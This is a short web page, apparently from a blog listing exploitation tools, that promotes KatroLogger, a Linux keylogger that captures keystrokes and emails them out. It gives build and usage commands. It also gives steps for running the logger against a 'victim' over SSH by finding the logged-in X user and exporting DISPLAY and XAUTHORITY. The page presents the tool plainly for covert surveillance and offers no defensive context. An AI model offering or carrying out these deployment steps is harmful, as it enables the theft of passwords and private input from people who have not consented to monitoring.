Exploitation Tools

KatroLogger – KeyLogger For Linux Systems

KatroLogger - KeyLogger For Linux Systems


KeyLogger for Linux Systems.

  • Features
    • Runs on GUI systems or CLI
    • Sending data by email
  • Dependencies
    • curl
    • libx11-dev (Debian-Based)
    • libX11-devel (RHEL-Based)
  • Compiling
# ./configure
# make
# make install
  • Usage
# katrologger --output /path/file

Send data by e-mail:

# katrologger --smtp-help


  • Fixing problems accessing via SSH

when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.

For hosts with xorg running:

identifying logged in user

# user=$(who | grep "(:0)" | awk '{print $1}')
# echo $user

Exporting variables

# export DISPLAY=:0.0
# export XAUTHORITY=/home/$user/.Xauthority
  • Uninstall
make uninstall

About the author

Mazen Elzanaty

Add Comment

Click here to post a comment

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: